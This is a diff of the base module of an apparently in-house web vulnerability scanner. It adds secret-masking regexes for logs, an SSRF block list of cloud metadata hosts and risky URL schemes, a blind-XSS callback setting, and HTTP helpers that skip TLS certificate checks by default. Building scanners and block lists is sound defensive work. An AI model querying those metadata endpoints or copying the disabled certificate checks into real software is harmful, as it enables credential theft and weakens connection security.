| 71 |
+
def cleanup_scan_logs(scan_id):
|
| 72 |
+
with _logs_lock:
|
| 73 |
+
if scan_id in active_scan_logs:
|
| 74 |
+
del active_scan_logs[scan_id]
|
| 75 |
+
|
| 76 |
+
def schedule_log_cleanup(scan_id, delay=3600):
|
| 77 |
+
def cleanup_task():
|
| 78 |
+
time.sleep(delay)
|
| 79 |
+
cleanup_scan_logs(scan_id)
|
| 80 |
+
threading.Thread(target=cleanup_task, daemon=True).start()
|
| 81 |
+
|
| 82 |
+
# ── Environment ──────────────────────────────────────────────────────────
|
| 83 |
+
DEFAULT_VERIFY_SSL = os.environ.get("WSS_VERIFY_SSL", "0") == "1"
|
| 84 |
+
XSS_CALLBACK_URL = os.environ.get(
|
| 85 |
+
"WSS_XSS_CALLBACK_URL",
|
| 86 |
+
"https://xss-reporting.internal/callback",
|
| 87 |
+
)
|
| 88 |
+
|
| 89 |
+
# ── Secret patterns to mask in logs (GAP-S1) ─────────────────────────────
|
| 90 |
+
_SECRET_PATTERNS = [
|
| 91 |
+
(re.compile(r'(AKIA[0-9A-Z]{16})'), r'AKIA****'),
|
| 92 |
+
(re.compile(r'(sk-[a-zA-Z0-9]{40,})'), r'sk-****'),
|
| 93 |
+
(re.compile(r'([Bb]earer\s+)[A-Za-z0-9\-_.~+/]+=*'), r'\1****'),
|
| 94 |
+
(re.compile(r'(password["\s:=]+)[^\s&"\']+', re.I), r'\1****'),
|
| 95 |
+
(re.compile(r'(token["\s:=]+)[^\s&"\']{8,}', re.I), r'\1****'),
|
| 96 |
+
]
|
| 97 |
+
|
| 98 |
+
# ── Structured security event logger (GAP-S2) ────────────────────────────
|
| 99 |
+
_sec_logger = logging.getLogger("LarShield.Security")
|
| 100 |
+
if not _sec_logger.handlers:
|
| 101 |
+
_h = logging.FileHandler("security_events.log", encoding="utf-8")
|
| 102 |
+
_h.setFormatter(logging.Formatter("%(message)s"))
|
| 103 |
+
_sec_logger.addHandler(_h)
|
| 104 |
+
_sec_logger.setLevel(logging.INFO)
|
| 105 |
+
_sec_logger.propagate = False
|
| 106 |
+
|
| 107 |
+
|
| 108 |
+
def _clean_nul(val) -> str:
|
| 109 |
+
if val is None:
|
| 110 |
+
return ""
|
| 111 |
+
if not isinstance(val, str):
|
| 112 |
+
val = str(val)
|
| 113 |
+
return val.replace("\x00", "").replace("\u0000", "")
|
| 114 |
+
|
| 115 |
+
|
| 116 |
+
def _mask_secrets(text: str) -> str:
|
| 117 |
+
"""Redact known secret patterns before writing to logs."""
|
| 118 |
+
text = _clean_nul(text)
|
| 119 |
+
for pattern, replacement in _SECRET_PATTERNS:
|
| 120 |
+
text = pattern.sub(replacement, text)
|
| 121 |
+
return text
|
| 122 |
+
|
| 123 |
+
|
| 124 |
+
def _log_security_event(event_type: str, scan_id: str, message: str, level: str) -> None:
|
| 125 |
+
"""Write structured JSON security event for SIEM ingestion."""
|
| 126 |
+
event = {
|
| 127 |
+
"ts": datetime.now(timezone.utc).isoformat(),
|
| 128 |
+
"event_type": event_type,
|
| 129 |
+
"level": level,
|
| 130 |
+
"scan_id": scan_id,
|
| 131 |
+
"message": _mask_secrets(message),
|
| 132 |
+
}
|
| 133 |
+
_sec_logger.info(json.dumps(event))
|
| 134 |
+
|
| 135 |
+
|
| 136 |
+
def get_scan_logs(scan_id: str) -> list[str]:
|
| 137 |
+
with _logs_lock:
|
| 138 |
+
return list(active_scan_logs.get(scan_id, []))
|
| 139 |
+
|
| 140 |
+
|
| 141 |
+
def add_log(scan_id: str, level: str, message: str) -> None:
|
| 142 |
+
timestamp = datetime.now().strftime("%H:%M:%S")
|
| 143 |
+
safe_msg = _mask_secrets(message)
|
| 144 |
+
log_line = f"[{timestamp}] [{level}] {safe_msg}"
|
| 145 |
+
|
| 146 |
+
with _logs_lock:
|
| 147 |
+
# GAP-004: ring buffer — cap at MAX_LOG_LINES
|
| 148 |
+
logs = active_scan_logs.setdefault(scan_id, [])
|
| 149 |
+
if len(logs) >= MAX_LOG_LINES:
|
| 150 |
+
logs.pop(0)
|
| 151 |
+
logs.append(log_line)
|
| 152 |
+
|
| 153 |
+
# Structured security event for critical/warning levels
|
| 154 |
+
if level in ("CRITICAL", "WARNING", "ERROR"):
|
| 155 |
+
_log_security_event(f"SCAN_{level}", scan_id, message, level)
|
| 156 |
+
|
| 157 |
+
try:
|
| 158 |
+
print(log_line, flush=True)
|
| 159 |
+
except UnicodeEncodeError:
|
| 160 |
+
print(log_line.encode("ascii", "replace").decode("ascii"), flush=True)
|
| 161 |
+
|
| 162 |
+
|
| 163 |
+
def cleanup_scan_logs(scan_id: str) -> None:
|
| 164 |
+
with _logs_lock:
|
| 165 |
+
active_scan_logs.pop(scan_id, None)
|
| 166 |
+
|
| 167 |
+
|
| 168 |
+
def schedule_log_cleanup(scan_id: str, delay_seconds: int = 300) -> None:
|
| 169 |
+
"""
|
| 170 |
+
Schedule scan log cleanup after `delay_seconds` (default 5 min).
|
| 171 |
+
BUG-6 FIX: Prevents premature cleanup while frontend polls /logs.
|
| 172 |
+
"""
|
| 173 |
+
def _cleanup():
|
| 174 |
+
time.sleep(delay_seconds)
|
| 175 |
+
cleanup_scan_logs(scan_id)
|
| 176 |
+
|
| 177 |
+
t = threading.Thread(target=_cleanup, daemon=True)
|
| 178 |
+
t.start()
|
| 179 |
+
|
| 180 |
+
|
| 181 |
+
def parse_domain(url: str) -> str:
|
| 182 |
+
return (
|
| 183 |
+
url.replace("https://", "")
|
| 184 |
+
.replace("http://", "")
|
| 185 |
+
.split("/")[0]
|
| 186 |
+
.split(":")[0]
|
| 187 |
+
.split("?")[0]
|
| 188 |
+
.strip()
|
| 189 |
+
)
|
| 190 |
+
|
| 191 |
+
|
| 192 |
+
def build_vuln(
|
| 193 |
+
title: str,
|
| 194 |
+
severity: str,
|
| 195 |
+
category: str,
|
| 196 |
+
cvss_score: float,
|
| 197 |
+
description: str,
|
| 198 |
+
remediation: str,
|
| 199 |
+
evidence: str = "",
|
| 200 |
+
payload: str = "",
|
| 201 |
+
request_details: str = "",
|
| 202 |
+
response_details: str = "",
|
| 203 |
+
confidence: str = "Medium",
|
| 204 |
+
scanner_key: str = "unknown",
|
| 205 |
+
cve_ids: list | None = None,
|
| 206 |
+
references: list | None = None,
|
| 207 |
+
cwe_ids: list | None = None,
|
| 208 |
+
owasp_category: str | None = None,
|
| 209 |
+
) -> dict:
|
| 210 |
+
result = {
|
| 211 |
+
"title": _clean_nul(title),
|
| 212 |
+
"severity": _clean_nul(severity),
|
| 213 |
+
"category": _clean_nul(category),
|
| 214 |
+
"cvss_score": cvss_score,
|
| 215 |
+
"description": _clean_nul(description),
|
| 216 |
+
"remediation": _clean_nul(remediation),
|
| 217 |
+
"evidence": _mask_secrets(evidence),
|
| 218 |
+
"payload": _clean_nul(payload),
|
| 219 |
+
"request_details": _clean_nul(request_details),
|
| 220 |
+
"response_details": _mask_secrets(response_details),
|
| 221 |
+
"confidence": _clean_nul(confidence),
|
| 222 |
+
"scanner_key": _clean_nul(scanner_key),
|
| 223 |
+
"cve_ids": cve_ids or [],
|
| 224 |
+
"references": references or [],
|
| 225 |
+
"timestamp": datetime.now(timezone.utc).isoformat(),
|
| 226 |
+
}
|
| 227 |
+
if cwe_ids:
|
| 228 |
+
result["cwe_ids"] = cwe_ids
|
| 229 |
+
if owasp_category:
|
| 230 |
+
result["owasp_category"] = _clean_nul(owasp_category)
|
| 231 |
+
_classify_enrich(result, scanner_key)
|
| 232 |
+
return result
|
| 233 |
+
|
| 234 |
+
|
| 235 |
+
def make_ssl_context(verify: bool | None = None):
|
| 236 |
+
import ssl as _ssl
|
| 237 |
+
ctx = _ssl.create_default_context()
|
| 238 |
+
if verify is False or (verify is None and not DEFAULT_VERIFY_SSL):
|
| 239 |
+
ctx.check_hostname = False
|
| 240 |
+
ctx.verify_mode = _ssl.CERT_NONE
|
| 241 |
+
else:
|
| 242 |
+
# Enforce TLS 1.2+ minimum (report §1.3)
|
| 243 |
+
try:
|
| 244 |
+
ctx.minimum_version = _ssl.TLSVersion.TLSv1_2
|
| 245 |
+
except AttributeError:
|
| 246 |
+
pass # Older Python — skip
|
| 247 |
+
return ctx
|
| 248 |
+
|
| 249 |
+
|
| 250 |
+
def check_robots_txt(target: str, user_agent: str = "LarShield/2.0") -> RobotFileParser | None:
|
| 251 |
+
try:
|
| 252 |
+
parsed = urlparse(target)
|
| 253 |
+
robots_url = f"{parsed.scheme}://{parsed.netloc}/robots.txt"
|
| 254 |
+
rp = RobotFileParser(robots_url)
|
| 255 |
+
rp.read()
|
| 256 |
+
return rp
|
| 257 |
+
except Exception as e:
|
| 258 |
+
print(f"ERROR: [Base] check_robots_txt error: {e}")
|
| 259 |
+
return None
|
| 260 |
+
|
| 261 |
+
|
| 262 |
+
# ── Blocked target sets (GAP-002) ─────────────────────────────────────────
|
| 263 |
+
_BLOCKED_HOSTS = frozenset({
|
| 264 |
+
"localhost", "127.0.0.1", "::1", "0.0.0.0",
|
| 265 |
+
"169.254.169.254", # AWS/Azure IMDS
|
| 266 |
+
"metadata.google.internal", # GCP metadata
|
| 267 |
+
"100.100.100.200", # Alibaba Cloud ECS metadata
|
| 268 |
+
"kubernetes.default.svc",
|
| 269 |
+
"kubernetes.default",
|
| 270 |
+
})
|
| 271 |
+
_BLOCKED_SCHEMES = frozenset({"file", "ftp", "gopher", "dict", "ldap", "ldaps"})
|
| 272 |
+
|
| 273 |
+
# Raised from 60→150 to reduce per-scanner throttle waits and cut scan time
|
| 274 |
+
_SCANNER_RATE_LIMIT = int(os.environ.get("SCANNER_RATE_LIMIT", "150"))
|
| 275 |
+
_SCANNER_RATE_WINDOW = int(os.environ.get("SCANNER_RATE_WINDOW", "60"))
|
| 276 |
+
|
| 277 |
+
# ── Module-level shared SSL context (avoids rebuilding per-instance) ──────────
|
| 278 |
+
_SHARED_SSL_CONTEXT = None
|
| 279 |
+
_SSL_CONTEXT_LOCK = threading.Lock()
|
| 280 |
+
|
| 281 |
+
def _get_shared_ssl_context():
|
| 282 |
+
"""Return (or lazily create) a module-level SSL context."""
|
| 283 |
+
global _SHARED_SSL_CONTEXT
|
| 284 |
+
if _SHARED_SSL_CONTEXT is None:
|
| 285 |
+
with _SSL_CONTEXT_LOCK:
|
| 286 |
+
if _SHARED_SSL_CONTEXT is None:
|
| 287 |
+
_SHARED_SSL_CONTEXT = make_ssl_context(None)
|
| 288 |
+
return _SHARED_SSL_CONTEXT
|
| 289 |
+
|
| 290 |
+
|
| 291 |
+
class TokenBucket:
|
| 292 |
+
def __init__(self, rate: int = 60, window: int = 60):
|
| 293 |
+
self._rate = rate
|
| 294 |
+
self._window = window
|
| 295 |
+
self._tokens = rate
|
| 296 |
+
self._last_refill = time.monotonic()
|
| 297 |
+
self._lock = threading.Lock()
|
| 298 |
+
|
| 299 |
+
def _refill(self):
|
| 300 |
+
now = time.monotonic()
|
| 301 |
+
elapsed = now - self._last_refill
|
| 302 |
+
self._tokens = min(self._rate, self._tokens + elapsed * (self._rate / self._window))
|
| 303 |
+
self._last_refill = now
|
| 304 |
+
|
| 305 |
+
def acquire(self, block: bool = True) -> bool:
|
| 306 |
+
with self._lock:
|
| 307 |
+
self._refill()
|
| 308 |
+
if self._tokens >= 1:
|
| 309 |
+
self._tokens -= 1
|
| 310 |
+
return True
|
| 311 |
+
if block:
|
| 312 |
+
sleep_time = (self._window / self._rate) * 1.1
|
| 313 |
+
time.sleep(sleep_time)
|
| 314 |
+
self._refill()
|
| 315 |
+
if self._tokens >= 1:
|
| 316 |
+
self._tokens -= 1
|
| 317 |
+
return True
|
| 318 |
+
return False
|
| 319 |
+
|
| 320 |
+
|
| 321 |
+
class BaseScanner:
|
| 322 |
+
SCANNER_NAME: str = "Base Scanner"
|
| 323 |
+
|
| 324 |
+
def __init__(
|
| 325 |
+
self,
|
| 326 |
+
scan_id: str,
|
| 327 |
+
target: str,
|
| 328 |
+
domain: str,
|
| 329 |
+
auth_headers: dict | None = None,
|
| 330 |
+
verify_ssl: bool | None = None,
|
| 331 |
+
red_team: bool = False,
|
| 332 |
+
**kwargs,
|
| 333 |
+
) -> None:
|
| 334 |
+
self.scan_id = scan_id
|
| 335 |
+
self.target = target
|
| 336 |
+
self.domain = domain
|
| 337 |
+
self.auth_headers = auth_headers or {}
|
| 338 |
+
self.verify_ssl = verify_ssl
|
| 339 |
+
self.red_team = red_team
|
| 340 |
+
self.vulns: list[dict] = []
|
| 341 |
+
self._ssl_context = None
|
| 342 |
+
self._robots_parser = None
|
| 343 |
+
|
| 344 |
+
# GAP-ADV: Centralized discovery context to prevent redundant crawling
|
| 345 |
+
self.discovery_context = kwargs.get("discovery_context", {})
|
| 346 |
+
|
| 347 |
+
# PHASE 1: Build per-scan site baseline for SPA/404 false-positive suppression
|
| 348 |
+
self._baseline = SiteBaseline()
|
| 349 |
+
try:
|
| 350 |
+
ssl_ctx = make_ssl_context(verify_ssl)
|
| 351 |
+
self._baseline.build(
|
| 352 |
+
target,
|
| 353 |
+
ssl_context=ssl_ctx,
|
| 354 |
+
headers={"User-Agent": "LarShield/2.0"},
|
| 355 |
+
timeout=6,
|
| 356 |
+
)
|
| 357 |
+
except Exception as _be:
|
| 358 |
+
add_log(scan_id, "WARNING", f"[Base] Baseline build error (suppression disabled): {_be}")
|
| 359 |
+
|
| 360 |
+
# BUG-12 FIX: Validate target on init so ALL scanners are protected.
|
| 361 |
+
# We catch ValueError here (not re-raise) to log and continue — some
|
| 362 |
+
# scan types like API scanners may legitimately call with non-HTTP URLs.
|
| 363 |
+
try:
|
| 364 |
+
self._validate_target(self.target)
|
| 365 |
+
except ValueError as e:
|
| 366 |
+
add_log(scan_id, "WARNING",
|
| 367 |
+
f"[Base] Target validation warning for '{target}': {e}")
|
| 368 |
+
|
| 369 |
+
# ── SSL / robots ─────────────────────────────────────────────────────
|
| 370 |
+
|
| 371 |
+
def get_ssl_context(self):
|
| 372 |
+
if self._ssl_context is None:
|
| 373 |
+
self._ssl_context = make_ssl_context(self.verify_ssl)
|
| 374 |
+
return self._ssl_context
|
| 375 |
+
|
| 376 |
+
def get_robots_parser(self):
|
| 377 |
+
if self._robots_parser is None:
|
| 378 |
+
self._robots_parser = check_robots_txt(self.target)
|
| 379 |
+
return self._robots_parser
|
| 380 |
+
|
| 381 |
+
def can_fetch(self, path: str = "/") -> bool:
|
| 382 |
+
rp = self.get_robots_parser()
|
| 383 |
+
if rp is None:
|
| 384 |
+
return True
|
| 385 |
+
return rp.can_fetch("LarShield/2.0", path)
|
| 386 |
+
|
| 387 |
+
# ── PHASE 1: Baseline convenience helpers ─────────────────────────────
|
| 388 |
+
|
| 389 |
+
def _is_baseline(self, status: int, body: str | bytes) -> bool:
|
| 390 |
+
"""
|
| 391 |
+
Return True when this response matches the site's generic SPA/404 catch-all.
|
| 392 |
+
Use this before reporting any path as "found" to suppress false positives.
|
| 393 |
+
"""
|
| 394 |
+
return self._baseline.is_baseline(status, body)
|
| 395 |
+
|
| 396 |
+
def _is_not_found(self, status: int, body: str | bytes = b"") -> bool:
|
| 397 |
+
"""True when status >= 400 OR response matches the baseline catch-all."""
|
| 398 |
+
return self._baseline.is_not_found(status, body)
|
| 399 |
+
|
| 400 |
+
# ── Logging ──────────────────────────────────────────────────────────
|
| 401 |
+
|
| 402 |
+
def log(self, level: str, message: str) -> None:
|
| 403 |
+
add_log(self.scan_id, level, message)
|
| 404 |
+
# Emit real-time log event
|
| 405 |
+
emit_scan_progress(self.scan_id, 'scan_log', {
|
| 406 |
+
'level': level,
|
| 407 |
+
'message': message,
|
| 408 |
+
'timestamp': datetime.now(timezone.utc).isoformat()
|
| 409 |
+
})
|
| 410 |
+
|
| 411 |
+
# ── Vulnerability reporting ──────────────────────────────────────────
|
| 412 |
+
|
| 413 |
+
def add_vuln(
|
| 414 |
+
self,
|
| 415 |
+
title: str,
|
| 416 |
+
severity: str,
|
| 417 |
+
category: str,
|
| 418 |
+
cvss_score: float,
|
| 419 |
+
description: str,
|
| 420 |
+
remediation: str,
|
| 421 |
+
evidence: str = "",
|
| 422 |
+
payload: str = "",
|
| 423 |
+
request_details: str = "",
|
| 424 |
+
response_details: str = "",
|
| 425 |
+
confidence: str = "Medium",
|
| 426 |
+
cve_ids: list | None = None,
|
| 427 |
+
references: list | None = None,
|
| 428 |
+
cwe_ids: list | None = None,
|
| 429 |
+
owasp_category: str | None = None,
|
| 430 |
+
) -> None:
|
| 431 |
+
vuln = build_vuln(
|
| 432 |
+
title, severity, category, cvss_score,
|
| 433 |
+
description, remediation,
|
| 434 |
+
evidence, payload, request_details, response_details,
|
| 435 |
+
confidence=confidence,
|
| 436 |
+
scanner_key=getattr(self, "_SCANNER_KEY", "unknown"),
|
| 437 |
+
cve_ids=cve_ids,
|
| 438 |
+
references=references,
|
| 439 |
+
cwe_ids=cwe_ids,
|
| 440 |
+
owasp_category=owasp_category,
|
| 441 |
+
)
|
| 442 |
+
# Inline dedup: skip if same title+category already recorded this run
|
| 443 |
+
for existing in self.vulns:
|
| 444 |
+
if existing["title"] == vuln["title"] and existing["category"] == vuln["category"]:
|
| 445 |
+
# Update confidence if the new one is stronger
|
| 446 |
+
conf_rank = {"Low": 0, "Medium": 1, "High": 2, "Confirmed": 3}
|
| 447 |
+
if conf_rank.get(vuln["confidence"], 0) > conf_rank.get(existing["confidence"], 0):
|
| 448 |
+
existing["confidence"] = vuln["confidence"]
|
| 449 |
+
if vuln.get("payload"):
|
| 450 |
+
existing["payload"] = vuln["payload"]
|
| 451 |
+
if vuln.get("evidence"):
|
| 452 |
+
existing["evidence"] = vuln["evidence"]
|
| 453 |
+
return
|
| 454 |
+
self.vulns.append(vuln)
|
| 455 |
+
# Emit real-time vulnerability found event
|
| 456 |
+
emit_scan_progress(self.scan_id, 'vulnerability_found', {
|
| 457 |
+
'title': title,
|
| 458 |
+
'severity': severity,
|
| 459 |
+
'category': category,
|
| 460 |
+
'cvss_score': cvss_score,
|
| 461 |
+
'confidence': confidence,
|
| 462 |
+
'scanner_key': getattr(self, "_SCANNER_KEY", "unknown"),
|
| 463 |
+
'timestamp': datetime.now(timezone.utc).isoformat()
|
| 464 |
+
})
|
| 465 |
+
|
| 466 |
+
def run(self) -> list[dict]:
|
| 467 |
+
raise NotImplementedError("Subclasses must implement run()")
|
| 468 |
+
|
| 469 |
+
# ── GAP-003: Unified auth-aware HTTP helpers ──────────────────────────
|
| 470 |
+
|
| 471 |
+
def _make_headers(self, additional: dict | None = None) -> dict:
|
| 472 |
+
"""Build headers dict merging auth_headers (always include for authenticated scanning)."""
|
| 473 |
+
headers = {"User-Agent": "LarShield/2.0"}
|
| 474 |
+
if self.auth_headers:
|
| 475 |
+
headers.update(self.auth_headers)
|
| 476 |
+
if additional:
|
| 477 |
+
headers.update(additional)
|
| 478 |
+
return headers
|
| 479 |
+
|
| 480 |
+
def _throttle(self):
|
| 481 |
+
"""Rate-limit requests per scanner instance. Blocks (sleeps) when rate limit is hit."""
|
| 482 |
+
if not hasattr(self, '_bucket'):
|
| 483 |
+
self._bucket = TokenBucket(_SCANNER_RATE_LIMIT, _SCANNER_RATE_WINDOW)
|
| 484 |
+
self._bucket.acquire(block=True)
|
| 485 |
+
|
| 486 |
+
def _make_request(
|
| 487 |
+
self,
|
| 488 |
+
url: str,
|
| 489 |
+
method: str = "GET",
|
| 490 |
+
data: bytes | None = None,
|
| 491 |
+
headers: dict | None = None,
|
| 492 |
+
timeout: int = 15, # Increased from 5s -> 15s to handle slower external sites
|
| 493 |
+
return_response_obj: bool = False,
|
| 494 |
+
) -> tuple[str | None, int] | tuple[str | None, int, dict]:
|
| 495 |
+
"""
|
| 496 |
+
Unified HTTP request helper — always includes auth_headers.
|
| 497 |
+
Returns (body_str, status_code). On error returns (None, 0).
|
| 498 |
+
Automatically handles HTTPError bodies.
|
| 499 |
+
"""
|
| 500 |
+
self._throttle()
|
| 501 |
+
req_headers = self._make_headers(headers)
|
| 502 |
+
# Add Connection: close to prevent keep-alive pool exhaustion on stressed targets
|
| 503 |
+
req_headers.setdefault("Connection", "close")
|
| 504 |
+
# Use shared SSL context to avoid per-call context creation overhead
|
| 505 |
+
ssl_ctx = _get_shared_ssl_context() if self.verify_ssl is None else self.get_ssl_context()
|
| 506 |
+
|
| 507 |
+
# PHASE 7.3: Retry with backoff on IncompleteRead / transient errors
|
| 508 |
+
_RETRY_DELAYS = [0.0, 0.5, 1.5] # 3 attempts: immediate, +0.5s, +1.5s
|
| 509 |
+
for _attempt, _delay in enumerate(_RETRY_DELAYS):
|
| 510 |
+
if _delay:
|
| 511 |
+
time.sleep(_delay)
|
| 512 |
+
try:
|
| 513 |
+
req = urllib.request.Request(
|
| 514 |
+
url, data=data, headers=req_headers, method=method
|
| 515 |
+
)
|
| 516 |
+
with urllib.request.urlopen(
|
| 517 |
+
req, timeout=timeout, context=ssl_ctx
|
| 518 |
+
) as r:
|
| 519 |
+
body = r.read().decode("utf-8", errors="ignore")
|
| 520 |
+
if return_response_obj:
|
| 521 |
+
return body, r.status, r.headers # type: ignore[return-value]
|
| 522 |
+
return body, r.status
|
| 523 |
+
except http.client.IncompleteRead as e:
|
| 524 |
+
if _attempt < len(_RETRY_DELAYS) - 1:
|
| 525 |
+
self.log("WARNING", f"[Base] IncompleteRead on {url} (attempt {_attempt+1}), retrying...")
|
| 526 |
+
continue
|
| 527 |
+
# Last attempt — return partial data
|
| 528 |
+
partial = e.partial.decode("utf-8", errors="ignore") if e.partial else ""
|
| 529 |
+
if return_response_obj:
|
| 530 |
+
return partial, 200, {} # type: ignore[return-value]
|
| 531 |
+
return partial, 200
|
| 532 |
+
except urllib.error.HTTPError as e:
|
| 533 |
+
try:
|
| 534 |
+
body = e.read().decode("utf-8", errors="ignore")
|
| 535 |
+
except Exception as ex:
|
| 536 |
+
self.log("ERROR", f"[Base] _make_request HTTPError body read error: {ex}")
|
| 537 |
+
body = ""
|
| 538 |
+
if return_response_obj:
|
| 539 |
+
return body, e.code, e.headers # type: ignore[return-value]
|
| 540 |
+
return body, e.code
|
| 541 |
+
except ValueError as e:
|
| 542 |
+
err_str = str(e).lower()
|
| 543 |
+
# Suppress expected errors from newline/CRLF injection payloads in headers
|
| 544 |
+
if "control characters" in err_str or "invalid header" in err_str:
|
| 545 |
+
if return_response_obj:
|
| 546 |
+
return None, 0, {} # type: ignore[return-value]
|
| 547 |
+
return None, 0
|
| 548 |
+
self.log("ERROR", f"[Base] _make_request ValueError: {e}")
|
| 549 |
+
if return_response_obj:
|
| 550 |
+
return None, 0, {} # type: ignore[return-value]
|
| 551 |
+
return None, 0
|
| 552 |
+
except Exception as e:
|
| 553 |
+
# Suppress verbose logging for expected/common probe errors
|
| 554 |
+
err_str = str(e).lower()
|
| 555 |
+
_suppressed = (
|
| 556 |
+
"timed out", "connection refused", "name or service",
|
| 557 |
+
"getaddrinfo", # DNS resolution failure
|
| 558 |
+
"errno 11001", # Windows: getaddrinfo failed
|
| 559 |
+
"control characters", # Expected when CRLF payloads hit urllib
|
| 560 |
+
"no connection could be made",
|
| 561 |
+
"actively refused",
|
| 562 |
+
"10054", # Connection forcibly closed
|
| 563 |
+
"forcibly closed",
|
| 564 |
+
)
|
| 565 |
+
if not any(x in err_str for x in _suppressed):
|
| 566 |
+
self.log("ERROR", f"[Base] _make_request error: {e}")
|
| 567 |
+
if return_response_obj:
|
| 568 |
+
return None, 0, {} # type: ignore[return-value]
|
| 569 |
+
return None, 0
|
| 570 |
+
# Should not reach here
|
| 571 |
+
if return_response_obj:
|
| 572 |
+
return None, 0, {} # type: ignore[return-value]
|
| 573 |
+
return None, 0
|
| 574 |
+
|
| 575 |
+
|
| 576 |
+
def _make_timed_request(
|
| 577 |
+
self, url: str, method: str = "GET",
|
| 578 |
+
data: bytes | None = None, headers: dict | None = None, timeout: int = 8,
|
| 579 |
+
) -> tuple[str | None, int, float]:
|
| 580 |
+
"""Returns (body, status, elapsed_seconds). Used for timing-based detection."""
|
| 581 |
+
t0 = time.monotonic()
|
| 582 |
+
body, status = self._make_request(url, method, data, headers, timeout)
|
| 583 |
+
return body, status, time.monotonic() - t0
|
| 584 |
+
|
| 585 |
+
# ── GAP-ADV: Concurrent execution helpers ──────────────────────────────
|
| 586 |
+
|
| 587 |
+
def _make_async_requests(
|
| 588 |
+
self,
|
| 589 |
+
requests_list: list[dict],
|
| 590 |
+
max_workers: int = 10, # PHASE 7.3: Reduced 25 → 10 to prevent connection pool exhaustion
|
| 591 |
+
) -> list[tuple[dict, str | None, int]]:
|
| 592 |
+
"""
|
| 593 |
+
Executes a list of requests concurrently using a thread pool.
|
| 594 |
+
Each request in `requests_list` must be a dict with keys:
|
| 595 |
+
'url' (required), optionally 'method', 'data', 'headers', 'timeout'.
|
| 596 |
+
Returns a list of tuples: (request_dict, response_body, status_code).
|
| 597 |
+
"""
|
| 598 |
+
import concurrent.futures
|
| 599 |
+
|
| 600 |
+
results: list[tuple[dict, str | None, int]] = []
|
| 601 |
+
|
| 602 |
+
def worker(req: dict) -> tuple[dict, str | None, int]:
|
| 603 |
+
url = req.get("url")
|
| 604 |
+
if not url:
|
| 605 |
+
return req, None, 0
|
| 606 |
+
method = req.get("method", "GET")
|
| 607 |
+
data = req.get("data")
|
| 608 |
+
headers = req.get("headers")
|
| 609 |
+
timeout = req.get("timeout", 15) # Consistent 15s default
|
| 610 |
+
body, status = self._make_request(url, method, data, headers, timeout)
|
| 611 |
+
return req, body, status
|
| 612 |
+
|
| 613 |
+
with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
|
| 614 |
+
future_to_req = {executor.submit(worker, req): req for req in requests_list}
|
| 615 |
+
for future in concurrent.futures.as_completed(future_to_req):
|
| 616 |
+
req = future_to_req[future]
|
| 617 |
+
try:
|
| 618 |
+
res = future.result()
|
| 619 |
+
results.append(res)
|
| 620 |
+
except Exception as exc:
|
| 621 |
+
self.log("ERROR", f"[Base] _make_async_requests future error: {exc}")
|
| 622 |
+
results.append((req, None, 0))
|
| 623 |
+
|
| 624 |
+
return results
|
| 625 |
+
|
| 626 |
+
# ── URL helpers ────────────────────────────────────────────────────────
|
| 627 |
+
|
| 628 |
+
def _safe_url_join(self, base: str, path: str) -> str:
|
| 629 |
+
"""
|
| 630 |
+
Safely join a base URL with a relative path.
|
| 631 |
+
Handles edge cases like missing slashes, query strings, fragments.
|
| 632 |
+
"""
|
| 633 |
+
try:
|
| 634 |
+
if path.startswith("http://") or path.startswith("https://"):
|
| 635 |
+
return path
|
| 636 |
+
return urljoin(base.rstrip("/") + "/", path.lstrip("/"))
|
| 637 |
+
except Exception:
|
| 638 |
+
return base
|
| 639 |
+
|
| 640 |
+
def _deduplicate_vulns(self) -> None:
|
| 641 |
+
"""
|
| 642 |
+
Remove duplicate vulnerabilities from self.vulns in-place.
|
| 643 |
+
Dedup key: (title, category).
|
| 644 |
+
Keeps the highest-confidence occurrence.
|
| 645 |
+
"""
|
| 646 |
+
seen: dict[tuple, dict] = {}
|
| 647 |
+
conf_rank = {"Low": 0, "Medium": 1, "High": 2, "Confirmed": 3}
|
| 648 |
+
for v in self.vulns:
|
| 649 |
+
key = (v["title"], v["category"])
|
| 650 |
+
if key not in seen:
|
| 651 |
+
seen[key] = v
|
| 652 |
+
else:
|
| 653 |
+
existing_rank = conf_rank.get(seen[key].get("confidence", "Low"), 0)
|
| 654 |
+
new_rank = conf_rank.get(v.get("confidence", "Low"), 0)
|
| 655 |
+
if new_rank > existing_rank:
|
| 656 |
+
seen[key] = v
|
| 657 |
+
self.vulns = list(seen.values())
|
| 658 |
+
|
| 659 |
+
# ── GAP-002: Target SSRF self-protection ─────────────────────────────
|
| 660 |
+
|
| 661 |
+
def _validate_target(self, url: str | None = None) -> None:
|
| 662 |
+
"""
|
| 663 |
+
Prevent the scanner engine from being used as an SSRF pivot.
|
| 664 |
+
Raises ValueError for blocked targets.
|
| 665 |
+
BUG-12 FIX: Now called in __init__ automatically for every scanner.
|
| 666 |
+
"""
|
| 667 |
+
target = url or self.target
|
| 668 |
+
try:
|
| 669 |
+
p = urlparse(target)
|
| 670 |
+
except Exception as exc:
|
| 671 |
+
raise ValueError(f"Invalid URL: {exc}") from exc
|
| 672 |
+
|
| 673 |
+
# Block dangerous schemes
|
| 674 |
+
if p.scheme in _BLOCKED_SCHEMES:
|
| 675 |
+
raise ValueError(f"Blocked URL scheme: {p.scheme!r}")
|
| 676 |
+
|
| 677 |
+
hostname = (p.hostname or "").lower().strip()
|
| 678 |
+
if not hostname:
|
| 679 |
+
raise ValueError("URL has no hostname")
|
| 680 |
+
|
| 681 |
+
# Block known metadata / internal service hostnames
|
| 682 |
+
if hostname in _BLOCKED_HOSTS:
|
| 683 |
+
raise ValueError(f"Blocked host: {hostname}")
|
| 684 |
+
|
| 685 |
+
# Block private / loopback / link-local IP ranges
|
| 686 |
+
try:
|
| 687 |
+
ip = ipaddress.ip_address(hostname)
|
| 688 |
+
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_multicast:
|
| 689 |
+
raise ValueError(f"Private/internal IP blocked: {ip}")
|
| 690 |
+
except ValueError as exc:
|
| 691 |
+
if "Blocked" in str(exc) or "Private" in str(exc) or "internal" in str(exc):
|
| 692 |
+
raise # Re-raise our own checks
|
| 693 |
+
# Not an IP address (it's a hostname) — fine, proceed
|
| 694 |
+
pass
|
backend/scanners/blind_xss_scanner.py
ADDED
|
@@ -0,0 +1,126 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
